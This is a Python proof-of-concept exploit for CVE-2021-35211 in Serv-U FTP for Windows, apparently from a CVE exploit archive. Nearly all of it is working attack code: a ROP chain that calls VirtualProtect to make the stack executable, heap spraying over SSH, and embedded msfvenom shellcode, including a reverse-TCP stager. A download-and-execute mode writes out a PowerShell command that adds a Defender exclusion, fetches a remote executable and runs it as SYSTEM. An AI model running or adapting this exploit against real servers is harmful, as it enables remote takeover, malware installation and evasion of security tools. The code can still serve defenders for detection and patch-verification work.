4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2021-35211.py PY
#!/usr/bin/env python3

'''
Author:     0xhaggis @ Bishop Fox
URL:        https://github.com/0xhaggis/CVE-2021-35211
Date:       Nov 2021

Purpose:    Exploit for CVE-2021-35211, a memory corruption vulnerability in
            Serv-U FTP for Windows, allowing remote code execution.
Notes:      - This exploit doesn't always work first time. Try multiple runs
              if you're not getting results.
            - The Serv-U daemon will often crash after successfully running shellcode.
              In "command exec" mode this exploit will automatically restart
              the Serv-U process once its finished, minimizing impact. Users will
              be disconnected if there are active sessions on the server.
            - In "shellcode stager" and "download / exec" modes, this exploit
              will NOT restart the service and it's on you to do so by 
              running "net start serv-u".
            - Usage of this tool for attacking targets without prior mutual
              consent is illegal. It is the end user's responsibility to obey
              all applicable local, state, and federal laws. Developers assume
              no liability and are not responsible for any misuse or damage
              caused by this program.
Usage:      python3 CVE-2021-35211.py -h
            python3 CVE-2021-35211.py exec -h
            python3 CVE-2021-35211.py stage -h
            python3 CVE-2021-35211.py downloadexec -h
'''

import socket
import struct
import sys
import time
import argparse

##
## TBD support for multiple versions of Serv-U
## Currently hard-coded for SSH-2.0-Serv-U_15.2.3.717
##
versions = { 
    "SSH-2.0-Serv-U_15.1.5.10" : {
        "ROP_thing" : 0xdeadbeef,
        "ROP_stuff" : 0x11223344
    },
    "SSH-2.0-Serv-U_15.2.3.717" : {
        "ROP_thing" : 0xdeadbeef,
        "ROP_stuff" : 0x11223344
    },
    "SSH-2.0-Serv-U_15.x.y.z" : {
        "ROP_thing" : 0xdeadbeef,
        "ROP_stuff" : 0x11223344
    }
}

##
## Useful ROP gadgets that we'll use to build a ROP chain
##
ROP_stack_pivot = 0x18010391a # mov rsp, r11 ; pop r14 ; ret 
ROP_int3 = 0x180017ddf # int 3; ret 0 
ROP_nop = 0x180168730 # nop ; ret
ROP_jmp_rax = 0x000000018016fcd6 # jmp rax
ROP_jmp_qword_ptr_rax = 0x18016f135 # jmp qword ptr [rax]
ROP_call_rbx_dref = 0x0000000180174a47 # call qword ptr [rbx]

ROP_push_rax = 0x1803212e0
ROP_push_rsi = 0x18007bf01
ROP_push_rbp_pop_rax = 0x000000018001d80b # push rbp ; pop rax ; add byte ptr [rax], al ; ret
ROP_push_rax_pop_rbx = 0x00000001800d243d # push rax ; pop rbx ; ret
ROP_push_rbp_pop_rbx = 0x180126d6f # push rbp ; add dword [rax], eax ; add rsp, 0x20 ; pop rbx; ret

ROP_pop_rbp_pop_rbx = 0x1801c27fd # pop rbp ; pop rbx ; ret
ROP_pop_rsp_pop_rdi = 0x1801a0e71
ROP_pop_rdx = 0x0000000180085223 
ROP_pop_rbx = 0x000000018009290b
ROP_pop_rax = 0x0000000180037f84
ROP_pop_rcx = 0x00000001801785c3
ROP_pop_rdi = 0x000000018007350c
ROP_pop_r8  = 0x00000001800bb739
ROP_pop_r15 = 0x18007e137

ROP_mov_rax_r11 = 0x0000000180105dc9 # mov rax, r11 ; ret
ROP_mov_rax_rdx = 0x000000018001bd00 # mov rax, rdx ; ret
ROP_mov_rcx_rax = 0x180050922 # mov rcx, rax ; cvttsd2si rax, xmm0 ; add rax, rcx ; add rsp, 0x28 ; ret 
ROP_mov_rax_ptr_rbx = 0x0000000180155494 # mov rax, qword ptr [rbx + 0x20] ; add rsp, 0x20 ; pop rbx ; ret
ROP_mov_rax_ptr_rax = 0x000000018001c75e # mov rax, qword ptr [rax] ; add rsp, 0x20 ; pop rbx ; ret
ROP_mov_ptr_rbx_rax = 0x000000018013f1c4 # mov qword ptr [rbx], rax ; add rsp, 0x20 ; pop rbx ; ret
ROP_mov_ptr_rcx_rax = 0x180195c63
ROP_mov_ptr_rdx_rax = 0x180050e84 # perfect
#ROP_mov_ptr_rdx_rax = 0x1800af71f # mov qword ptr [rdx], rax ; mov rax, rdx ; ret

ROP_xchg_rax_r9 = 0x0000000180048d6f # xchg rax, r9 ; adc al, 0 ; add rsp, 0x38 ; ret
ROP_xchg_eax_ebx_add_rsp = 0x00000001800d4bc6 # xchg eax, ebx ; retf 0x56
ROP_xchg_eax_ebx = 0x00000001800d4bc6 # xchg eax, ebx ; ret
ROP_xchg_eax_esp = 0x000000018004d90b # xchg eax, esp ; ret

ROP_add_rax_rcx = 0x0000000180170ef5 # add rax, rcx ; ret
ROP_add_rax_rdx = 0x0000000180170f4a # add rax, rdx ; ret
ROP_add_rsp_0x28 = 0x00000001800811ce # adc al, 0 ; add rsp, 0x28 ; ret
ROP_sub_rax_8 = 0x18004e2a4 # sub rax, 8 ; ret

ROP_xor_al_al = 0x1800be59f


##
## Stuff we need to glue it all together
##

# from servu-u.dll version 15.2.3.717
writable_mem = 0x1803f2a80 # empty 8 bytes in .data
writable_mem2 = 0x1803f2a90 # empty 8 bytes in .data
imp_sleep = 0x00000001801c9428
imp_LoadLibraryW = 0x1801c9598
imp_GetCurrentProcessId = 0x1801c9400
imp_GetCurrentThreadId = 0x1801c92a0
imp_GetModuleHandleW = 0x1801c92c8
imp_GetProcAddress = 0x1801c9590

# from kernel32.dll on fully-patched Windows Server 2022 Datacenter as of 10/22/2021
offs_GetCurrentProcessID = 0x5B765
offs_VirtualProtect = 0x5B10
offs_VirtualProtect_string = 0x110

#offs_NOP_sled = 576
offs_NOP_sled = 1200
offs_NOP_sled_padding = 256

# our rop buffer that will be filled with a fake stack of rop gadgets.
alloc_size = 0x108
totalBufSize = 2500
rop = bytearray(alloc_size+totalBufSize);

# some constants
ROP_r9_offset = 0xf8 # offset in our payload that will populate register r9 prior to "call r9"
ropOffs = 0
connect_timeout = 8
spray_count = 64
wstr_kernel32 = 0x180313230


##
## Helpers
##

# write the QWORD (64 bits) 'qw' to offset 'o' in the rop buffer in little-endian byte order
def write_qw(o, qw): rop[o:o+8] = struct.pack('<Q', qw);

# concatenates the QWORD 'qw' to the rop buffer
def write_rop(qw):
    global ropOffs
    rop[ropOffs:ropOffs+8] = struct.pack('<Q', qw)
    ropOffs = ropOffs + 8

# Shortcut for connecting to a remote TCP port
def connect_to_server(host, port):
    global connect_timeout

    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
        sock.settimeout(connect_timeout)
        sock.connect((host, port))
        
        return sock
    
    except socket.error as e:
        print("[!] Failed to connect to %s:%d : %s" % (host, port, e))
        exit()

# An animated progress bar for the exploit/shellcode sprayer
def sprayStatus(c):
    if c % 8 != 0:
        return
    c = int(c / 8) + 1
    print("[", end='')
    for i in range(0, c):
        print(".", end='')
    for i in range(c, 32):
        print(" ", end='')
    print("]", end="\r")


##
## Off we go!
##
if __name__ == '__main__':

    ##
    ## Handle command-line arguments
    ##
    parser = argparse.ArgumentParser(description="Serv-U-FTP 15.2.3.717 Exploit | CVE-2021-35211 | Bishop Fox, Oct 2021")
    parser.add_argument("targetHost", help="Hostname or IPv4 address of the Serv-U server", type=str)
    parser.add_argument("-p", dest="targetPort", help="TCP port that Serv-U is listening on (default: 22)", type=int, default=22)
    subparsers = parser.add_subparsers()
    msfStage = subparsers.add_parser("stage", help="Metasploit-compatible shellcode stager")
    msfStage.add_argument("stageHost", help="Hostname or IPv4 address of your Metasploit/Sliver shellcode staging instance", type=str)
    msfStage.add_argument("stagePort", help="Port number for your staging instance", type=int)
    commandExec = subparsers.add_parser("exec", help="Run arbitrary commands on the target")
    commandExec.add_argument("command", help="Command to run on the target, e.g. 'nslookup foo.bishopfox.com'", type=str)
    commandExec.add_argument("-n", dest="noRestart", help="By default Serv-U is restarted after executing the command. Using -n disables this behavior", action="store_true")
    dlExec = subparsers.add_parser("downloadexec", help="Download and run an executable file")
    dlExec.add_argument("url", help="e.g. https://www.example.com/runme.exe", type=str)
    args = parser.parse_args()

    ##
    ## make sure the target host is valid then convert to IP address
    ## validate serv-u version to ensure compatibility with this exploit
    ##
    print("[+] Targeting %s:%s" % (args.targetHost, args.targetPort))
    try:
        targetIP = socket.gethostbyname(args.targetHost)
        client = connect_to_server(targetIP, args.targetPort)
        version = client.recv(1024).decode().replace('\r\n', '')
        client.close()

        if version != "SSH-2.0-Serv-U_15.2.3.717":
            print("[!] Sorry, Serv-U FTP version '%s' is not supported." % version)
            #exit()
        else:
            print("[+] Found Serv-U FTP Version SSH-2.0-Serv-U_15.2.3.717")

    except socket.error as e:
        print("[!] Error! Could not resolve host '%s': " % (args.targetHost), e)
        exit()

    ##
    ## Zero out the entire payload buffer
    ##
    print("[+] Setting up exploit payload buffer")
    for i in range(0, alloc_size + totalBufSize, 8):
        write_qw(i, 0x00 * 8)

    ##
    ## Build a ROP chain that makes the stack executable then jumps to our shellcode
    ##
    print("[+] Constructing ROP chain")

    # Setup the stack so our payload is in the correct place
    #write_qw(ROP_r9_offset, ROP_stack_pivot) # populate r9
    write_qw(ROP_r9_offset, ROP_stack_pivot) # populate r9

    # skip right on over the start of the rop buffer, which we'll use as a scratch pad
    write_rop(ROP_add_rsp_0x28)
    ropOffs = ropOffs + 0x28  

    # start calcultaing address of kernel32!VirtualProtect
    write_rop(ROP_pop_rcx)
    write_rop(wstr_kernel32) # "k\x00e\x00r\x00n\x00e\x00l\x003\x002\x00.\x00d\x00l\x00l\x00\x00" # L"kernel32.dll" in Serv-U.dll

    # skip over critical sections of the payload buffer that seem to get modified during execution
    write_rop(ROP_add_rsp_0x28)
    ropOffs = ropOffs + 0x28
    write_rop(ROP_add_rsp_0x28)
    ropOffs = ropOffs + 0x28

    write_rop(ROP_pop_rax)                 # populate rax with pointer to... 
    write_rop(imp_GetModuleHandleW)        # ...trampoline @ 0x1801c92a0 for kernel32!GetModuleHandleW
    write_rop(ROP_mov_rax_ptr_rax)         # move address of kernel32!GetModuleHandleW trampoline into rax
    ropOffs = ropOffs + 0x28
    
    write_rop(ROP_jmp_rax)                 # call GetModuleHandleW(L"kernel32.dll") returns HMODULE rax
    write_rop(ROP_mov_rcx_rax)             # rcx = rax = HMODULE handle to kernel32.dll image
    ropOffs = ropOffs + 0x28

    # write "VirtualProtect\x00\x00" to an unused address in .data
    write_rop(ROP_pop_rdx)
    write_rop(writable_mem)
    write_rop(ROP_pop_rax)
    write_rop(0x506c617574726956) # "VirtualP", but little-endian "PlautriV". Ends up in memory as "VirtualP".
    write_rop(ROP_mov_ptr_rdx_rax)

    # skip over critical sections of the payload buffer that seem to get modified during execution
    write_rop(ROP_add_rsp_0x28)
    ropOffs = ropOffs + 0x28

    # write the other half of "VirtualProtect\x00" to the unused address in .data
    write_rop(ROP_pop_rdx)
    write_rop(writable_mem + 8)
    write_rop(ROP_pop_rax)
    write_rop(0x0000746365746f72) # "rotect\x00\x00", but little-endian. Now writablemem="VirtualProtect\x00\x00".
    write_rop(ROP_mov_ptr_rdx_rax)

    # setup the call to GetProcAddress()
    write_rop(ROP_pop_rax)
    write_rop(imp_GetProcAddress)

    # rcx = HMODULE handle to kernel32
    # rdx = pointer to the string "VirtualProtect\x00" @ writable_mem
    write_rop(ROP_pop_rdx)
    write_rop(writable_mem)
    
    # Call GetProcAddress(kernel32_handle, "VirtualProtect\x00")
    
    write_rop(ROP_jmp_qword_ptr_rax)

    # skip over critical sections of the payload buffer that seem to get modified during execution
    write_rop(ROP_add_rsp_0x28)
    ropOffs = ropOffs + 0x28

    # All being well, GetProcAddress() returned the addresss of VirtualProtect() in rax.
    # Save rax in .data for use later
    write_rop(ROP_pop_rdx)
    write_rop(writable_mem2)
    write_rop(ROP_mov_ptr_rdx_rax)
    
    # Call VirtualProtect(rbp, 0x8000, 0x40, writable_mem)

    # First arg to virtualprotect: the address to make RWX
    write_rop(ROP_push_rbp_pop_rax)        # put stack address into rax
    write_rop(ROP_mov_rcx_rax)             # copy stack address to rcx (address parameter)
    ropOffs = ropOffs + 0x28

    # Second arg, the size of the executable segment
    write_rop(ROP_pop_rdx)                 # pop the size parameter off the stack
    write_rop(alloc_size+0x4000)

    # third arg, the virtual protection flags for RWX
    write_rop(ROP_pop_r8)                  # pop the value 0x40 off the stack (page protection flags for RWX)
    write_rop(0x40)

    # fourth arg, a writable address in memory into which VirtualProtect will write result data
    write_rop(ROP_pop_rax)                 # Pop a writable memory address off the stack
    write_rop(writable_mem)
    write_rop(ROP_xchg_rax_r9)             # swap it into r9 for the final argument
    ropOffs = ropOffs + 0x38
    
    # We stored the address of VirtualProtect in writable_mem2, earlier. 
    # Pop it into rax.
    write_rop(ROP_pop_rax)
    write_rop(writable_mem2)

    # Call VirtualProtect(rcx, rdx, r8, r9)
    write_rop(ROP_jmp_qword_ptr_rax)

    # skip over critical sections of the payload buffer that seem to get modified during execution
    write_rop(ROP_add_rsp_0x28)
    ropOffs = ropOffs + 0x28

    # Jump to our shellcode
    write_rop(ROP_push_rbp_pop_rax)        # Put stack address into rax
    write_rop(ROP_pop_rdx)                 # Pop the NOP sled offset value off the stack into rdx
    write_rop(offs_NOP_sled)               
    write_rop(ROP_add_rax_rdx)             # Add together the stack address + NOP sled offset
    write_rop(ROP_jmp_rax)                 # jmp to the NOP sled

    write_rop(ROP_int3)                    # We should never reach here.

    print("[+] ROP chain complete. Size = %d bytes." % ropOffs)

    ##
    ## Fill the rest of the ROP payload with a NOP sled + shellcode
    ##
    for i in range(ropOffs, totalBufSize, 8):
        write_rop(0x9090909090909090)

    # Make dat->stream.ctr allways NULL and execute CRYPTO_ctr128_encrypt_ctr function, which does "call r9"
    write_qw(0x100, 0x00 * 8)

    # Ensure a pointer to our first gadget is 16 bytes into the payload
    write_qw(0x10, ROP_stack_pivot) 
    write_qw(ROP_r9_offset, ROP_stack_pivot)


    ##
    ## Populate the rop payload buffer with shellcode. It was made with msfvenom, for example:
    ##    
    ##    msfvenom --smallest -p windows/x64/meterpreter/reverse_tcp LHOST=192.153.76.22 LPORT=80 EXITFUNC=none -f c
    ##
    print("[+] Adding shellcode")

    # If the attribute "stageHost" is present in the commandline args then we're running in shellcode staging mode.
    # Ensure that the specified host resolves to an IP
    if hasattr(args, "stageHost"):
        try:
            stageServerIP = socket.gethostbyname(args.stageHost)
        except:
            print("Error! Could not resolve host '%s'!" % args.stageHost)
            exit()

        shellcode = (
            # msf stager pulls from tcp://stageServerHost:stageServerPort with exitfunc = none, encoding = none
            b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
            b"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
            b"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
            b"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
            b"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
            b"\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b"
            b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b"
            b"\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41"
            b"\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1"
            b"\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45"
            b"\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b"
            b"\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
            b"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48"
            b"\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
            b"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00"
            b"\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5"
            b"\x49\xbc\x02\x00"
            b"PP"   # connect-back port       @ offs 244
            b"HHHH" # connect-back IP address @ offs 246 
            b"\x41\x54\x49\x89\xe4"
            b"\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68"
            b"\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a"
            b"\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"
            b"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5"
            b"\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba"
            b"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5"
            b"\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9"
            b"\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5"
            b"\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41"
            b"\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41"
            b"\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
            b"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8"
            b"\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40"
            b"\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5"
            b"\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"
            b"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41"
            b"\xff\xe7\x58"
        )

        # calculate the relevant offsets for patching IP:port into the shellcode
        offs = offs_NOP_sled+offs_NOP_sled_padding + 267 # magic
        portOffs = offs + 244 # not magic
        hostOffs = offs + 246

        # patch the shellcode into our ROP chain / shellcode buffer
        rop[offs:] = shellcode

        # patch the staging server's IP:port into the shellcode
        rop[portOffs:portOffs+2] = struct.pack(">H", args.stagePort) # pack in the port
        rop[hostOffs:hostOffs+4] = socket.inet_aton(stageServerIP)   # pack in the IP
    
    else:
        # We're in either downloadexec or exec mode.
        
        cmd = ''
        # If the 'url' attribute is present in the command-line args then we're in downloadexec mode.
        if hasattr(args, 'url'):
            cmd = "cmd /C \"@powershell -Command \"& {Add-MpPreference -ExclusionPath c:\\windows\\temp}\" & @powershell -NoProfile -ExecutionPolicy unrestricted -Command (new-object System.Net.WebClient).Downloadfile('" + args.url + "','c:\\windows\\temp\\bishopfox.exe') & start /B c:\\windows\\temp\\bishopfox.exe & timeout 5 & start /b /wait net stop serv-u & timeout 5 & net start serv-u\""        
        
        # If the 'command' attribute is present in the command-line args then we're in exec mode.
        elif hasattr(args, 'command'):
            if args.noRestart:
                cmd = 'cmd /C ' + args.command
            else:    
                cmd = 'cmd /C "' + args.command + ' & start /b /wait net stop serv-u & timeout 5 & net start serv-u"'
        
        # If we get here then something broke
        else:
            print("[!] wtf, error error")
            exit()

        # Populate ROP buffer with msfvenom command exec shellcode.
        # Runs as 'NT AUTHORITY\SYSTEM' on the Serv-U server.
        
        # exitfunc=thread
        shellcode = (
            b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
            b"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
            b"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
            b"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
            b"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
            b"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
            b"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
            b"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
            b"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
            b"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
            b"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
            b"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
            b"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
            b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
            b"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
            b"\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff"
            b"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
            b"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5"
        )

        rop[offs_NOP_sled+offs_NOP_sled_padding+267:] = shellcode + cmd.encode() + b"\x00"



    ##
    ## Construct full payload that will be sent to Serv-U
    ##
    spray = struct.pack('>IBBH', alloc_size, 5, 99, 0) + rop


    ##
    ## Showtime! Send the exploit payload to the Serv-U server
    ##

    # Spray the payload into as many threads as we can on the target
    try:
        print("[+] Spraying Serv-U-FTP server @ %s:%d" % (args.targetHost, args.targetPort))
        for i in range(spray_count):
            sprayStatus(i)
            client = connect_to_server(args.targetHost, args.targetPort)
            client.send(b'SSH-2.0-\r\n' + spray)
            client.close()
    except:
        print("[!] Failed during spray operation.")    
        exit()

    # Spray complete. Now trigger the bug and hope we hit our sprayed payload
    print("[+] Sending exploit trigger payload...")
    client = connect_to_server(args.targetHost, args.targetPort)

    client.send(b'SSH-2.0-Serv-U-PoC_0.2\r\n') # pretend to be a regular ssh client
    #client.send(b'SSH-2.0-OpenSSH-8.1\r\n') # pretend to be a regular ssh client
    time.sleep(0.1)
    client.recv(65535)

    #key Exchange Init
    client.send(b'\x00\x00\x00\x76\x00\x14\x3B\xBC\x34\x64\xDC\xB4\x1C\xB6\x23\x3F\x54\x34\xE5\x1F\xD4\x30\x00\x00\x00\x12'
                b'ecdh-sha2-nistp256\x00\x00\x00\x07ssh-rsa\x00\x00\x00\x0Aaes128-ctr\x00\x00\x00\x04none\x00\x00\x00\x04'
                b'none\x00\x00\x00\x04none\x00\x00\x00\x04none\x00\x00\x00\x04none\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
    client.send(b'\x00\x00\x00\x0c\x00\x15') # New Keys
    client.send(b'SSH-2.0-\r\n' + spray)
    client.close()

    ##
    ## If we get here then there's a chance we pwned the server
    ##
    print("[+] Done! Sometimes it takes a few runs to work - try again if it failed.")

## EOF